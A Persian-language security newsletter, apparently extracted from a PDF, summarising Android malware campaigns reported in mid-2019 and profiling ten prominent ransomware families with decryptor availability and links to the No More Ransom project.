ــار توســط شــرکت  ــن ب ــدی اولی ــزار اندروی ــن باج‌اف WannaLocker: ای
امنیتــی Avast کشــف شــد و بیشــتر کاربــران اندرویــدی چینــی را 
ــل،  ــای موبای ــر روی صفحه‌ه ــری آن ب ــام باج‌گی ــرار ‌داد و پیغ ــدف ق ه
 WannaCry بســیار شــبیه بــه پیغــام باج‌گیــری باج‌افــزار معــروف

بــود. یکــی دیگــر از جنبه‌هــای جالــب ایــن باج‌افــزار، رمزگــذاری 
ــه  ــت ک ــدی اس ــتگاه اندروی ــی دس ــه خارج ــود در حافظ ــای موج فایل‌ه
ــت. ــاده اس ــاق نیافت ــال اتف ــزار Simplocker تابح ــال 2014 و بداف از س

Horror game Trojan: ایــن اپلیکیشــن مخــرب موجــود در گــوگل 
ــن  ــن اپلیکیش ــد. ای ــف ش ــی Wandera کش ــم امنیت ــط تی ــی، توس پل
ــوگل  ــود از گ ــزار دانل ــش از 50 ه ــا بی ــناک ب ــی ترس ــازی ویدیوی ــک ب ی
 Scary Granny ZOMBYE Mod: The Horror نــام  بــا  پلــی 
از فروشــگاه گــوگل پلــی حــذف  Game 2019 بــود و در 27 ژوئــن 
ــر  ــدار را ب ــینگ پای ــه فیش ــک حمل ــب، ی ــس از نص ــازی پ ــن ب ــد. ای ش

روی دســتگاه قربانــی اجــرا می‌کــرد. در ابتــدا اعــان به‌روزرســانی 
می‌دهــد.  نمایــش  کاربــر  بــرای  را   Google security services
ــه ورود  ــک صفح ــد، ی ــد می‌کن ــانی را تایی ــر به‌روزرس ــه کارب ــی ک هنگام
ــد.  ــر می‌رس ــه نظ ــی ب ــیار واقع ــه بس ــود، ک ــه می‌ش ــوگل ارائ ــی گ جعل
ــات  ــر، اطلاع ــوگل توســط کارب ــور حســاب گ ــام و رمزعب ــردن ن ــا وارد ک ب
حســاب و اعتبارنامه‌هــای آن بــه ســرور مهاجمــان ارســال می‌شــد.

New Anubis Dropper: نمونه‌هــای جدیــدی از ایــن بدافــزار اندرویــدی 
توســط محققــان Trend Micro کشــف شــد. بــه گــزارش ایــن شــرکت 
ــرور  ــورد در دو س ــه 17490 م ــک ب ــا نزدی ــن نمونه‌ه ــداد ای ــی تع امنیت
  ”Operatör Güncellemesi“  ــب ــا دو برچس ــن نمونه‌ه ــوده و در ای ب
 Operatör“ کــه  اســت  شــده  یافــت   ”Google Services“ و 
 »Operator Update« در زبــان ترکــی بــه معنــای ”Güncellemesi

ــه  ــی هســتند ک ــن برچســب‌ها از متد‌هــای مهندســی اجتماع اســت. ای
 Anubis بــرای فریــب کاربــران بــه دانلــود یــک اپلیکیشــن کــه بدافــزار
ــن اپلیکیشــن‌های  در آن جاســازی شــده اســت، اســتفاده می‌شــوند. ای
ــا  ــت و ی ــای پرداخ ــرقت داده‌ه ــرای س ــی Webview ب ــرب، از ویژگ مخ
بــه عنــوان بــردار حملــه بــرای اجــرای فیشــینگ، سوءاســتفاده می‌كننــد.

محبوبیــت  بــازی  یــا  اپلیکیشــن  یــک  کــه  وقتــی   :FaceApp
گســترش  بــرای  آن  محبوبیــت  از  بدافزارنویســان  می‌کنــد،  پیــدا 
کلاهبرداری‌هــای خــود اســتفاده می‌کننــد. ایــن اتفــاق قبــاً بــرای 
بازی‌هــای Fortnite و Apex Legends مشــاهده شــده اســت و اخیــراً 
ــی  ــم امنیت ــت. تی ــم رخ داده اس ــد FaceApp ه ــن جدی ــرای اپلیکیش ب
ــا  ــی از کلاهبرداری‌ه ــواع مختلف ــراً ان SonicWall Capture Labs اخی
ــرده  ــایی ک ــوب شناس ــیار محب ــن بس ــن اپلیکیش ــتفاده از ای ــا اس را ب
ــده  ــایی ش ــایت شناس ــادی وب‌س ــداد زی ــت تع ــطح اینترن ــت. در س اس

کــه ادعــا می‌کننــد نســخه FaceApp Pro را بــه صــورت رایــگان 
ارائــه می‌دهنــد. بــا دنبــال کــردن ایــن وب‌ســایت‌ها، کاربــر بــه 
ــدف  ــه ه ــود ک ــت می‌ش ــت هدای ــراز هوی ــی اح ــایت‌های جعل وب‌س
ــات  ــل و جزئی ــد ایمی ــر مانن ــاس کارب ــات حس ــتخراج اطلاع ــا اس آن‌ه
ــت  ــوق، از محبوبی ــورد ف ــر م ــاوه ب ــد. ع ــا می‌باش ــاری آن‌ه کارت اعتب
ایــن اپلیکیشــن بــرای کارهــای مخــرب دیگــری از جملــه ســرقت 
ــت. ــده اس ــتفاده ش ــره اس ــوس‌افزارها و غی ــترش جاس اس‌ام‌اس، گس

Cryptomining botnet: در حمــات ایــن بات‌نــت، از بــاز بــودن و بــه 
ــودن پورت‌هــای ADB بهــره  ــدون احــراز هویــت ب صــورت پیشــفرض ب
گرفتــه می‌شــد. ایــن بات‌نــت جدیــد اســتخراجگر ارز مجــازی، از طریــق 
 SSH ــق ــت از طری ــد و می‌توانس Android Debug Bridge وارد می‌ش
گســترش یابــد. طراحــی ایــن بات‌نــت بــه آن اجــازه مــی‌داد تــا از میزبان 

آلــوده بــه هــر سیســتمی کــه قبلاً بــا میزبــان ارتبــاط SSH داشــته اســت، 
منتقــل شــود. اســتفاده از ADB باعث می‌شــد کــه دســتگاه‌های اندرویدی 
ــزار در  ــه ایــن بات‌نــت آســیب‌پذیر شــوند. فعالیــت ایــن بداف نســبت ب
21 کشــور مختلــف شناســایی شــد کــه بیشــترین آن در کــره جنوبــی بــود.
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https://bit.ly/2XFUaY9

https://bit.ly/2qHU5XH

https://bit.ly/2D8apUq

https://bit.ly/33fzp6T

https://bit.ly/2pKJN8N

https://bit.ly/2qw8q9T

ــان  ــط محقق ــرب توس ــن مخ ــک کمپی ــراً ی Operation Tripoli: اخی
امنیتــی check point شناســایی شــده اســت کــه سال‌هاســت از 
ــی  ــای موبایل ــا در محیط‌ه ــش بدافزاره ــرای پخ ــوک ب ــات فیس‌ب صفح
و دســکتاپی اســتفاده می‌کنــد. هــدف اصلــی ایــن کمپیــن کشــور لیبــی 
ــتفاده  ــت سوءاس ــی، فرص ــش لیب ــی پرتن ــت سیاس ــت. وضعی ــوده اس ب
ــاره  ــی درب ــار خبرهای ــا انتش ــا ب ــم آورده و آن‌ه ــان فراه ــرای مهاجم را ب
ــد  ــت‌ها، قص ــتگیری تروریس ــا دس ــور ی ــی کش ــات هوای ــن حم آخری
ــا و  ــود فایل‌ه ــا و دانل ــر روی لینک‌ه ــک ب ــرای کلی ــان ب ــب قربانی فری
ــی  ــرکت امنیت ــن ش ــات ای ــته‌اند. تحقیق ــرب را داش ــن‌های مخ اپلیکیش

هنگامــی شــروع شــد کــه یــک صفحــه فیس‌بــوک جعلــی بــا نــام فرمانده 
ارتــش ملــی لیبــی شناســایی شــد. ایــن فرمانــده کــه بــه خلیفــه حفتــر 
معــروف اســت، شــخصیت برجســته‌ای در عرصــه سیاســی لیبــی اســت و 
نقــش اصلــی را بــه عنــوان یــک رهبر نظامــی در جریــان جنــگ داخلی این 
کشــور داشــته اســت. صفحــه فیســبوک جعلــی مربــوط بــه ایــن فرمانــده 
ــی  ــای جعل ــاوی لینک‌ه ــته و ح ــده داش ــال کنن ــزار دنب ــه 11 ه ــک ب نزدی
مختلــف از جملــه لینــک دانلــود اپلیکیشــن‌های اندرویــدی مخــرب بــود. 
لازم بــه ذکــر اســت کــه بــا گــزارش ایــن صفحــه مخــرب بــه فیســبوک، 
ــت. ــده اس ــارج ش ــترس خ ــی از دس ــه جعل ــن صفح ــر ای ــال حاض در ح

Agent Smith: محققــان CheckPoint اخیــراً ایــن نــوع بدافــزار جدیــد 
موبایلــی را کشــف کرده‌انــد کــه به‌صــورت پنهانــی در حــدود 25 میلیــون 
دســتگاه را آلــوده کــرده و کاربــران کامــاً از آن بی‌اطــاع بوده‌انــد. 
ســرویس‌های  و  اپلیکیشــن‌ها  عنــوان  بــه  را  خــود  بدافــزار  ایــن 
مربــوط بــه گــوگل معرفــی ‌کــرده و از آســیب‌پذیری‌های مختلــف و 
ــی  ــرای حــذف ســایر اپلیکیشــن‌های قانون ــدی، ب شــناخته شــده اندروی
نصــب شــده بــر روی دســتگاه و جایگزینــی آن‌هــا بــا نســخه‌های 

از  حاضــر  حــال  در  بدافــزار  ایــن  می‌کنــد.  بهره‌بــرداری  مخــرب، 
ــط  ــدی، فق ــتگاه‌های اندروی ــع دس ــه مناب ــود ب ــترده خ ــی گس دسترس
ــیل  ــی پتانس ــت ول ــرده اس ــتفاده ‌ک ــی اس ــات جعل ــش تبلیغ ــرای نمای ب
ــر  ــات را ب ــایر حم ــرای س ــی و اج ــاب‌های بانک ــات حس ــرقت اطلاع س
ــتر در  ــزار بیش ــن بداف ــد. ای ــم دارا می‌باش ــران ه ــای کارب روی موبایل‌ه
ــت. ــرده اس ــدا ک ــترش پی ــگلادش گس ــتان و بن ــد، پاکس ــورهای هن کش

 Trend ــط ــه توس ــی ک ــزار موبایل ــن باج‌اف Slocker ransomware: ای
ــده و از  ــته ش ــرای نوش ــد از واناک ــه تقلی ــت، ب ــده اس ــف ش Micro کش
 Slocker .گرافیــک ایــن باج‌افــزار معــروف اســتفاده کــرده اســت
ــدت  ــد از م ــه بع ــد ک ــزاری می‌باش ــای باج‌اف ــن خانواده‌ه از قدیمی‌تری
ــت  ــدت فعالی ــا م ــت ام ــرده اس ــت ک ــه فعالی ــروع ب ــاره ش ــادی دوب زی
ــای آن  ــزار رمزگش ــون اب ــد چ ــاه ش ــیار کوت ــد بس ــزار مقل ــن باج‌اف ای
ــت  ــطح اینترن ــوده، در س ــتگاه‌های آل ــاهده دس ــس از مش ــه پ بلافاصل

ــون  ــرد مضن ــار آن، ف ــس از انتش ــج روز پ ــن پن ــد. همچنی ــر ش منتش
پشــت ایــن باج‌افــزار توســط پلیــس چیــن دســتگیر شــد. خوشــبختانه 
ــک  ــن کوچ ــد انجم ــق چن ــر از طری ــورد نظ ــزار م ــه باج‌اف ــل اینک ــه دلی ب
ــدود  ــم و مح ــیار ک ــان آن بس ــداد قربانی ــود، تع ــرده‌ ب ــدا ک ــترش پی گس
ــزار در آن  ــن باج‌اف ــه ای ــنی ک ــه اپلیکیش ــت ک ــر اس ــه ذک ــود. لازم ب ب
جاســازی شــده بــود یــک ابــزار تقلــب بــرای بــازی King of Glory بــود.

ــت  ــل Avast، هش ــت موبای ــان امنی Stalker apps on GPlay: محقق
اپلیکیشــن نظارتــی مخــرب را در فروشــگاه گوگل‌پلــی شناســایی کرده‌انــد 
کــه بــه افــراد امــکان می‌دهــد کــه بــر روی کارمنــدان، همســران و فرزندان 
خــود جاسوســی و نظــارت کننــد. Avast ایــن اپلیکیشــن‌ها را در کلاس 
نرم‌افزارهــای stalkerware/surveillance طبقه‌بنــدی کــرده اســت 

ــران  ــی کارب ــانه‌های اجتماع ــت رس ــد فعالی ــه می‌توانن ــل ک ــن دلی ــه ای ب
اجتماعــی  شــبکه‌های  و   Facebook ، Kik، Skype، Hangouts در 
دیگــر را اســتخراج کنــد. بعــد از اینکــه Avast ایــن اپلیکیشــن‌ها را بــه 
گــوگل گــزارش داد، ایــن شــرکت آن‌هــا را از فروشــگاه خــود حــذف کــرد.

Updates for Samsung: ایــن اپلیکیشــن جعلــی به‌روزرســانی ‫اندرویــد 
بــرای موبایل‌هــای سامســونگ، کــه از طریــق فروشــگاه گــوگل پلی منتشــر 
شــده اســت تــا بــه حــال بیــش از 10 میلیــون تلفــن همــراه اندرویــدی 
ــن  ــگاه‌های اپلیکیش ــن در فروش ــن اپلیکیش ــت. ای ــرده اس ــوده ک را آل
ــر دریافــت شــده  ــز منتشــر شــده و توســط حــدود ۳۰ هزارنف ــی نی ایران
ــدارد.‬‬‬‬ ــا شــرکت سامســونگ ن اســت. ایــن اپلیکیشــن هیــچ ارتباطــی ب
کاربــران می‌تواننــد در ایــن اپلیکیشــن نســخه خــاص Firmware خــود 

را جســتجو کننــد و اپلیکیشــن در ازای ارائــه به‌روزرســانی مربوطــه، 
 ،CSIS ــی ــروه امنیت ــی از گ ــد. محقق ــول می‌کن ــت پ ــت پرداخ درخواس
ــه  ــت و آن را ب ــرده اس ــر ک ــی را منتش ــن جعل ــن اپلیکیش ــات ای جزئی
فروشــگاه گوگل‌پلــی گــزارش داده اســت. در حــال حاضــر ایــن اپلیکیشــن 
از فروشــگاه گوگل‌پلــی حــذف شــده اســت و اطلاع‌رســانی جهــت حــذف 
ــت. ــه اس ــورت گرفت ــز ص ــی نی ــگاه‌های ایران ــه فروش ــن ب ــن اپلیکیش ای

Monokle: محققــان Lookout یــک تهدیــد بدافــزاری بســیار هدفمنــد 
را شناســایی کرده‌انــد کــه از مجموعــه‌ای جدیــد و پیشــرفته از ابزارهــای 
مخــرب نظارتــی اندرویــدی بــه نــام Monokle اســتفاده می‌کنــد و دارای 
ارتبــاط احتمالــی بــا مهاجمــان روســی اســت. طبــق تحقیقــات محققــان 
این شــرکت، این ابزارهای نظارتی توســط شــرکت STC مســتقر در ســنت 
پترزبــورگ روســیه توســعه داده شــده اســت. STC یــک پیمانــکار مخفــی 
ــزات  ــا، تجهی ــایر دولت‌ه ــیه و س ــش روس ــرای ارت ــه ب ــت ک ــی اس نظام
 )RF(ــی ــو فرکانس ــزات رادی ــاد( و تجهی ــین )پهپ ــدون سرنش ــی ب هوای

ــی  ــرفته موبایل ــی پیش ــزار نظارت ــک بداف ــد. Monokle ی ــن می‌کن تأمی
ــا را  ــد و آن‌ه ــرقت می‌کن ــران را س ــخصی کارب ــات ش ــه اطلاع ــت ک اس
ــعی  ــزار س ــن بداف ــد. ای ــال می‌کن ــه ارس ــرور‌های C&C مربوط ــه س ب
می‌کنــد کــه در حیــن بــاز بــودن قفــل صفحــه، صفحــه را ضبــط کنــد تــا 
بتوانــد پیــن، الگــو و یــا رمــز عبــور کاربــر را بــه دســت آورد. ایــن بدافــزار 
فقــط بــر روی تعــداد خاصــی از اپلیکیشــن‌های قانونــی، جاســازی 
ــی دارد. ــزار موبایل ــودن ایــن بداف ــد ب شــده اســت کــه نشــان از هدفمن

جولای
July
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10 مورد از خطرناک‌ترین 
باج‌افزارهای سال 2019

از  یکــی  عنــوان  بــه  باج‌افزارهــا 
نرم‌افــزاری  تهدیــدات  بزرگ‌تریــن 
شــناخته   2018 ســال  مخــرب 
تهدیــدی  همچنــان  و  شــده 
ــی  ــاغل و زندگ ــرد مش ــرای عملک ب
ــان در  ــر جه ــراد در سراس ــره اف روزم
2019 محســوب می‌شــوند. ســال 
ــش  ــون بی ــی تاکن ــان امنیت محقق
از 1100 نــوع مختلــف باج‌افــزار را 
کرده‌انــد.  شناســایی  و  ردیابــی 
ــور  ــه ط ــداد ب ــن تع ــه ای ــا ک از آنج
اســت  رشــد  حــال  در  مــداوم 
ایــن  طریــق  از  باج‌گیــری  و 
پیشــرفته‌تر  روز  هــر  بدافزارهــا 
ــم لیســتی  ــم گرفتی می‌شــود، تصمی
را  باج‌افزارهــا  مخرب‌تریــن  از 
ــم.  ــع‌آوری کنی ــه جم ــن مقال در ای
ممکــن اســت قبــاً در خبرهــای 
ــن  ــی از ای ــم برخ ــده اس ــر ش منتش
ــرا  ــا را شــنیده باشــید، زی باج‌افزاره
ــث  ــر بح ــال اخی ــد س ــی چن در ط
امنیــت  حــوزه  در  باج‌افزارهــا 
اســت. بســیار مطــرح  ســایبری 
در  توضیحاتــی  مطلــب  ایــن  در 
ــن  ــورد از مخرب‌تری ــا ده م ــه ب رابط
اخیــر  ســال‌های  باج‌افزارهــای 
بــا معرفــی رمزگشــای آن‌هــا )در 
صــورت وجــود( مشــاهده خواهیــد 

ــرد. ک

معرفی وبسایت
nomoreransom

آن  محتــوای  و  فــوق  وب‌ســایت 
وســیله  بــه  مشــترک  به‌صــورت 
ــده  ــعه داده ش ــاد توس ــن نه چندی
اســت. مطالــب موجــود در ایــن 
مــردم،  عمــوم  بــرای  وب‌ســایت 
قربانیــان  بــرای  خصــوص  بــه  و 
بــاج افزارهــا اســتفاده می‌شــود. 
ــن  ــط بی ــوان راب ــه عن ــن ب همچنی
قربانیــان و عرضه‌کننــدگان ابزارهــای 
ــی  ــک قربان ــای ی ــایی فایل‌ه رمزگش
ــرد. ــی گی ــرار م ــتفاده ق ــورد اس م

آدرس این وب‌سایت :
https://www.nomoreransom.org/fa/ 

Bad Rabbit

Cerber

ــرب  ــای مخ ــزار Bad Rabbit از کده باج‌اف
WannaCry و NotPetya پیــروی می‌کنــد 
ــد.  ــت می‌کن ــیع‌تری فعالی ــطح وس و در س
ــزار در درجــه اول ســازمان‌هایی  ــن باج‌اف ای
را در روســیه و اروپــای شــرقی آلــوده کــرده 
 Adobe ــی ــل نصب ــوان فای ــه عن ــت. ب ‌اس
ــود  ــر دانل ــایت‌های نامعتب Flash در وب‌س
رایــگان نرم‌افــزار منتشــر شــده ‌اســت،
ایــن  روی  بــر  آن  نصب‌کننــده 
جــاوا  از  اســتفاده  بــا  وب‌ســایت‌ها 

 HTML فایل‌هــای  بــه  کــه  اســکریپت 
ــده  ــیب دی ــایت‌های آس ــا Java  وب‌س ی
تزریــق شــده‌اند، نصــب شــده اســت. 
نصب‌کننــده  روی  بــر  شــخصی  اگــر 
ــل  ــر وی قف ــد، کامپیوت ــک کن ــرب کلی مخ
دلار   280 حــدود  خواســتار  و  می‌شــود 
بــاج بــه‌ صــورت بیتکویــن بــا تعییــن 
ــت. ــت ‌اس ــرای پرداخ ــاعته ب ــت 40 س مهل

ــه  ــاوری تکامل‌یافت ــه‌ای از فن Cerber نمون
باج‌افزارهــا اســت. ایــن ســرویس بــه 
توزیــع   ransom-as-a-service عنــوان 
وابســته«  »برنامــه  یــک  کــه  می‌شــود 
بــرای انــواع مجرمــان ســایبری اســت. 
ــرده و در  ــس می‌توانــد از آن بهــره ب هرک
ازای 40 درصــد ســود آن را تکثیــر کنــد.
دادن  قــرار  هــدف  بــا  باج‌افــزار  ایــن 
کاربــران Office 365 مبتنــی بــر ابــر و 
ــق فیشــینگ  ــن دقی ــک کمپی اســتفاده از ی
جهــان  سراســر  در  را  کاربــر  میلیون‌هــا 
)بــه جــز در کشــورهای پــس از اتحــاد 
ــرار داده  ــر ق ــوروی( تحت‌تأثی ــر ش جماهی
اســت. طــرز کار آن بــه طــور معمــول 
ــی  ــی ایمیل ــه قربان بدیــن صــورت اســت ک
را بــا یــک ســند آلــوده ضمیمــه شــده 
مایکروســافت آفیــس دریافــت می‌کنــد، 

ــزار ممکــن اســت در  پــس از اجــرای باج‌اف
مرحلــه رمزنــگاری در ســکوت در پس‌زمینــه 
ــی  ــانه‌ای از آلودگ ــچ نش ــود و هی ــرا ش اج
را بــرای کاربــر نشــان ندهــد. پــس از 
ــه‌های  ــران در پوش ــذاری، کارب ــام رمزگ اتم
عنــوان  بــه  اغلــب  و  شــده  رمزگــذاری 
یادداشــت‌های  دســکتاپ،  پس‌زمینــه 
کــرد.  خواهنــد  مشــاهده  را  بــاج 
ــه  ــی ک ــال 2017 زمان ــل س Cerber در اوای
بــه ســر می‌بــرد حــدود  اوج خــود  در 
باج‌افــزار  تهدیــدات  کل  از  درصــد   26
از   Cerber داد.  اختصــاص  خــود  بــه  را 
و  می‌کنــد  اســتفاده   RSA رمزگــذاری 
در حــال حاضــر هیــچ ابــزار رمزگشــایی 
رایــگان بــرای آن در دســترس نیســت.

ابزار پاکسازی: 
 AdwCleaner - Malwarebytes - HitmanPro

وضعیت Decryptor: وجود ندارد.

Decryptor: Trend Micro Ransomware File Decryptor Tool 
https://bit.ly/2pMOj6H

◀‌گردآوری: سیروان اله‌ویسی
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Dharma

Jigsaw

Katyusha

GandCrab

Dharma یــک نــوع بدافزار رمزنگاری شــده 
اســت کــه از ایمیــل مخاطــب و ترکیب‌هــای 
علامت‌گــذاری  بــرای  حــروف  تصادفــی 
اســتفاده  رمزگذاری‌شــده  پرونده‌هــای 
می‌کنــد. ایــن باج‌افــزار نخســتین بــار 
شــد  منتشــر  جهــان  در   2016 ســال  در 

را  جدیــدی  نســخه‌های  آن  از  پــس  و 
بــه طــور مرتــب منتشــر کــرده ‌اســت. 
ــذاری  ــرای رمزگ ــم AES ب ــا از الگوریت دارم
پرونده‌هــا اســتفاده می‌کنــد، در حالیکــه 
نیــز  را   shadow نســخه‌های  همزمــان 
نســخه‌های  آخریــن  می‌کنــد.  حــذف 

 if .AUF ،پســوندهای دارای   2019
هســتند.  best. و    .USA ، .xwx

گســترش انــواع جدیــد دارمــا نشــان‌دهنده 
بــه  باج‌افزارهــا  گســترده‌تر  توزیــع 
اســت. زیرزمینــی  جدیــد  گروه‌هــای 

ــخصیت  ــک ش ــزار Jigsaw از ی ــام باج‌اف ن
ــک  ــن ی ــده و ای ــه ش ــناک گرفت ــم ترس فیل
نــوع از باج‌خواهــی مخصــوص اســت. 
ــر را  ــای کارب ــا پرونده‌ه ــه تنه ــورد ن ــن م ای
رمزگــذاری می‌کنــد بلکــه بــه تدریــج آنهــا را 
ــدان معناســت کــه  ــد. ایــن ب حــذف می‌کن

قربانیــان بایــد ســریع واکنــش نشــان دهند 
و آنهــا فقــط 24 ســاعت بــرای پرداخــت باج 
150 دلاری وقــت دارنــد. اگــر آنهــا نتوانند در 
بــازه زمانــی تعییــن شــده توســط باج‌افــزار 
مبلــغ را پرداخــت کننــد، باج‌افــزار هــر 
پرونده‌هــا  حــذف  بــه  شــروع  ســاعت 

می‌کنــد و هــر بــار تعــداد پرونده‌هــای 
می‌دهــد.  افزایــش  را  حــذف  قابــل 
خامــوش  جملــه  از  فعالیــت  هرگونــه 
 Jigsaw ــود ــی ش ــث م ــه باع ــردن رایان ک
تــا 1000 پرونــده قربانــی را حــذف کنــد.

تروجــان  یــک   Katyusha باج‌افــزار 
ــن  ــرای اولی ــه ب ــت ک ــده اس ــگاری ش رمزن
ــد. ــایی ش ــال 2018 شناس ــر س ــار در اکتب ب
ــزودن  ــا اف ــا را ب ــزار پرونده‌ه ــن باج‌اف  ای
رمزگــذاری   »katyusha« پســوند 
 BTC  0.5 روز  ســه  طــی  در  و  می‌کنــد 
 Katyusha می‌کنــد.  درخواســت  را 

عــدم  صــورت  در  می‌کنــد  تهدیــد 
ــری  ــرای بارگی ــا را ب ــاج، داده‌ه ــت ب پرداخ
در دســترس عمومــی قــرار خواهــد داد.
ــامل  ــزار ش ــن باج‌اف ــزاری  ای ــته نرم‌اف  بس
 DoublePulsar و EternalBlue ابزارهــای
اســت کــه جهت انتشــار در شــبکه اســتفاده 
 shadow ــن نســخه‌های می‌شــود. همچنی

ــزار  ــاج اف ــد. ب ــذف می‌کن ــتم را ح از سیس
Katyusha معمــولاً از طریــق پیوســت‌های 
ارســال  قربانیــان  بــه  مخــرب  ایمیــل 
ــزاری  ــچ اب ــر، هی ــال حاض ــود. در ح می‌ش
ــات  ــی اطلاع ــایی و بازیاب ــه رمزگش ــادر ب ق
از دســت رفتــه توســط ایــن باج‌افــزار 
نیســت. موجــود  رایــگان  صــورت  بــه 

مخرب‌تریــن  به‌عنــوان  کــه   GandCrab
ســال  دلاری  میلیــون  چنــد  باج‌افــزار 
از  یکــی  می‌شــود،   شــناخته   2018
معــدود کمپین‌هــای باج‌افــزاری اســت. 
از  جلوگیــری  بــرای   GandCrab تیــم 
بــه ماکروهــای  بــه شــدت  شناســایی‌، 
و   VBScript آفیــس،  مایکروســافت 
یــک  از  و  اســت  متکــی   PowerShell
مــدل ransomware-as-a-service بــرای 
حداکثــر رســاندن تکثیــر اســتفاده می‌کنــد، 

ــای  ــه ایمیل‌ه ــه اول ب ــه در درج در حالیک
دارد.  توجــه  کننــده  مصــرف  فیشــینگ 
ــزار  ــن باج‌اف ــان ای ــاج از قربانی ــای ب تقاض
می‌تواند از 500 دلار تا 600 دلار متغیر باشــد.
پایــان  در  بــار  اولیــن  باج‌افــزار  ایــن 
 GandCrab ،ژانویــه 2018 گــزارش شــد
توانســت بیــش از 48000 سیســتم را در 
ــان   ــد. از آن زم ــوده کن ــاه آل ــک م ــی ی ط
ــوده  ــول ب ــال تح ــاً در ح GandCrab دائم
ــزار  ــن باج‌اف ــس ای ــم برنامه‌نوی ــت. تی اس

ــل  ــه حداق ــخه از آن ک ــا نس ــون ده‌ه تاکن
پنــج نســخه آن دارای کدهــای جدیــد 
کــرده ‌اســت. منتشــر  را  اســت  بــوده 

 یوروپــول بــا همــکاری پلیــس رومانــی، 
ــرورهای  ــتانی کل و Bitdefender س دادس
ــرده  ــک ک ــا ه ــرای کلیده GandCrab را ب
و ابــزاری را تولیــد کــرده اســت کــه بــه 
پرونده‌هــای  می‌دهــد  امــکان  قربانیــان 
خــود را بــه صــورت رایــگان رمزگشــایی کنند.

Decryptor: Rakhni decryptor by Kaspersky Lab is able to decrypt files with the .dharma 
extension - https://bit.ly/2qyNi2N

Decryptor: https://bit.ly/2XKRYPd

وضعیت Decryptor: وجود ندارد.

Decryptor: https://bit.ly/2KSv03b
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LockerGoga

PewCrypt

Ryuk

ــه  ــال LockerGoga ،2019 ب ــدای س از ابت
ــه  چندیــن شــرکت صنعتــی و تولیــدی رخن
کــرده و باعــث خســارت قابــل توجهــی 
ــه در  ــی اولی ــس از آلودگ ــت. پ ــده ‌اس ش
 ،Altran شرکت مشــاوره مهندســی فرانســه
شــرکت نورســک هیــدرو و دو شــرکت بــزرگ 
شــیمیایی مســتقر در آمریــکا را مختــل کرد.
و  هدفمندتــر  جدیدتــر،   LockerGoga
معمولــی  باج‌افــزار  یــک  از  مخرب‌تــر 
ــر  ــه نظ ــه ب ــت ک ــب اینجاس ــت. جال اس

هــم  و  باشــد  باج‌افــزار  هــم  می‌رســد 
دارد.  وجــود  آن  در  پاک‌کننــده  قابلیــت 
 LockerGoga بعــدی  نســخه‌های 
آلــوده  دســتگاه  از  زور  بــه  را  قربانیــان 
خــارج می‌کنــد، کــه اغلــب منجــر بــه ایــن 
ــاج  ــام ب ــد پی ــان نتوانن ــه قربانی می‌شــود ک
ــا  ــی پرونده‌ه ــوه بازیاب ــتورالعمل نح و دس
را مشــاهده کننــد. ایــن یــک رویکــرد 
بســیار متفــاوت بــا باج‌افــزار معمولــی 
اســت کــه صرفــاً برخــی از پرونده‌هــا را 

در  امــا  می‌کنــد  رمزگــذاری  دســتگاه  در 
غیــر ایــن صــورت آن را اجــرا می‌کنــد.
ــایت  ــه در س ــزار ک ــن باج‌اف ــه‌ای از ای نمون
ــه  ــزار VirusTotal ب ــه و تحلیــل بداف تجزی
ــد  ــان می‌ده ــده، نش ــته ش ــتراک گذاش اش
ــولات  ــدودی از محص ــداد مح ــا تع ــه تنه ک
بدافــزار  می‌تواننــد  بدافــزار  ضــد 
LockerGoga را کشــف و خنثــی کننــد.

همــه باج‌افزارهــا بــرای اهــداف مالــی 
ــندگان  ــی از نویس ــوند. برخ ــاد نمی‌ش ایج
نویســندگان  ســایر  ماننــد  باج‌افــزار 
PewCrypt اهــداف دیگــری را در ذهــن 
دارنــد. ایــن باج‌افــزار کــه در ابتــدای ســال 
ــرد و  ــاد ک ــادی ایج ــدای زی ــر و ص 2019 س
ــط  ــر فق ــد )هک ــاد ش ــدف ایج ــک ه ــا ی ب
مــی خواهــد قربانیــان بــرای عضویــت 
و  شــرکت   YouTuber PewDiePie در 
کمــک کننــد(. او قبــاً از کانــال بالیــوود 
ــون مشــترک  ــه 100 میلی ــد، ســری T،  ب هن

ــاه  ــن م ــا چندی ــن آنه ــت بی ــید. رقاب رس
اســت کــه بحــث داغــی در اینترنــت بــوده 
و بــه دلایلــی، بــه نظــر می‌رســد طرفــداران 
ــاخت  ــه س ــد ک ــن باورن PewDiePie برای
و  مناســب  روشــی  باج‌افــزار  انتشــار  و 
ــرای حمایــت از آنهــا اســت.  قابــل قبــول ب
در  را  بیشــماری  فیلم‌هــای   PewDiePie
ــد  ــه می‌گوی ــت ک ــاخته اس ــام س ــاء ع م
مخــرب  تاکتیک‌هــای  از  اســتفاده  بــا 
ــت. ــق نیس ــدر مواف ــظ او در ص ــرای حف ب
توســط  معمــول  به‌طــور   PewCrypt

و  اســپم  ایمیــل  ارســال  کمپین‌هــای 
بدافــزار  میزبــان  کــه  وب‌ســایت‌هایی 
ــش  ــرب را نمای ــات مخ ــا تبلیغ ــتند ی هس
ــزار  ــد، توزیــع می‌شــود. ایــن باج‌اف می‌دهن
بــه زبــان برنامه‌نویســی جــاوا نوشــته 
شــده اســت و از یــک روش رمزگــذاری 
اســتفاده   AES بیتــی   256 پیشــرفته 
ــی  ــس از مدت ــال، پ ــن ح ــا ای ــد. ب می‌کن
ــه  ــرای هم ــایی را ب ــزار رمزگش ــنده اب نویس
ــت. ــرده اس ــر ک ــگان منتش ــورت رای ــه ص ب

ــزار  ــواده باج‌اف ــک خان ــی از ی Ryuk بخش
نســبتاً جدیــد اســت کــه در آگوســت 
ــرد و  ــاز ک ــود را آغ ــت خ ــن فعالی 2018 اولی
ــون  ــت 3.7 میلی ــته اس ــان توانس از آن زم
کــه  کنــد،  کســب  را  بیت‌کویــن  دلار 
در 52 پرداخــت دریافــت شــده اســت. 
طریــق  از  معمــولاً  باج‌افــزار  ایــن 
و  گســترده  اســپم  کمپین‌هــای 
سوء‌اســتفاده از کیــت توزیــع می‌شــود، 
امــا Ryuk مخصوصــاً در حمــات هدفمنــد 
موضــوع  ایــن  می‌شــود.  اســتفاده 

عمدتــاً بــر روی اهــداف بزرگــی ماننــد 
شــرکت‌هایی کــه مــی تواننــد مبلــغ زیــادی 
ــد  ــی پرونده‌هــای خــود بپردازن ــرای بازیاب ب
الگوریتم‌هــای  از   Ryuk اســت.  متمرکــز 
ــد »RSA4096« و  ــد مانن ــگاری قدرتمن رمزن
»AES-256« بــرای رمزگــذاری پرونده‌هــا 
اســتفاده می‌کنــد و خواســتار باج‌هایــی 
می‌شــود. بیت‌کویــن   50 تــا   15 از 
